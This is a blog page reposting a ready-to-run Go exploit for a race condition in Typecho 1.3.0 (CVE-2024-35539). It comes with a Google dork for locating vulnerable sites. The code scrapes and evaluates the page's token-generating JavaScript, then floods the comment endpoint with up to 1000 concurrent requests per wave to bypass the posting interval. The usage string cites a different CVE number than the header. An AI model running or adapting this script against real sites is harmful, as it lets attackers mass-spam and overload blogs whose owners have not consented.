Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863535690

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Typecho 1.3.0 - Race Condition
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35539

# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
	"bytes"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/robertkrimen/otto"
)

var (
	c                    int32 = 0
	commentsPostInterval int64 = 60
	maxThreads           int   = 1000
	wg                   sync.WaitGroup
	userAgent            string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
	client               *http.Client = &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
)

func getJSFunction(u string) string {
	req, err := http.NewRequest("GET", u, nil)
	if err != nil {
		fmt.Println("[X] Error creating initial request:", err)
		return ""
	}

	req.Header.Set("User-Agent", userAgent)
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending initial request:", err)
		return ""
	}

	buf := new(bytes.Buffer)
	buf.ReadFrom(resp.Body)
	body := buf.String()

	if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
		fmt.Println("[X] Error finding JavaScript function")
		return ""
	}

	jsFunction := strings.Split(body, "input.value = (")[1]
	jsFunction = strings.Split(jsFunction, ")();;")[0]

	return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
	vm := otto.New()

	_, err := vm.Run(jsFunctionBody)
	if err != nil {
		fmt.Println("[X] Error executing JavaScript function:", err)
		return ""
	}

	result, err := vm.Call(jsFunctionName, nil)
	if err != nil {
		fmt.Println("[X] Error calling JavaScript function:", err)
		return ""
	}

	returnValue, err := result.ToString()
	if err != nil {
		fmt.Println("[X] Error converting JavaScript result to string:", err)
		return ""
	}

	return returnValue
}

func spamComments(u string, formToken string) {
	timestamp := time.Now().Unix()
	for {
		i := 0

		for time.Now().Unix() < timestamp-1 {
			time.Sleep(250 * time.Millisecond)
			fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds)    ", timestamp-time.Now().Unix()-1)
		}

		fmt.Printf("\n")
		for time.Now().Unix() < timestamp+2 {
			if i < maxThreads {
				wg.Add(1)
				go spamRequest(u, formToken, i)
				i++
			}
		}

		wg.Wait()
		fmt.Printf("\n[+] Successfully spammed %d comments\n", c)
		timestamp = time.Now().Unix() + commentsPostInterval
	}
}

func spamRequest(u string, formToken string, i int) {
	fmt.Printf("\r[*] Spamming comment request %d    ", i)

	defer wg.Done()

	formData := url.Values{}
	formData.Set("_", formToken)
	formData.Set("author", fmt.Sprintf("user_%d", i))
	formData.Set("mail", fmt.Sprintf("user%d@test.example", i))
	formData.Set("text", fmt.Sprintf("Hello from user_%d", i))

	req, err := http.NewRequest("POST", u+"comment", nil)
	if err != nil {
		return
	}

	req.Header.Set("Referer", u)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
	req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

	resp, err := client.Do(req)
	if err != nil {
		return
	}

	if resp.StatusCode == 302 {
		atomic.AddInt32(&c, 1)
	}

	defer resp.Body.Close()
}

func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
		return
	}

	fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r")

	targetUrl := os.Args[1]
	fmt.Println("[+] Spam target:", targetUrl)

	fmt.Println("[*] Getting JavaScript function to calculate form token...")
	jsFunction := getJSFunction(targetUrl)
	if jsFunction == "" {
		fmt.Println("[-] Could not get JavaScript function, exiting...")
		return
	}

	fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
	formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
	if formToken == "" {
		fmt.Println("[-] Could not get form token, exiting...")
		return
	}

	fmt.Printf("[+] Form token: %s", formToken)
	spamComments(targetUrl, formToken)
}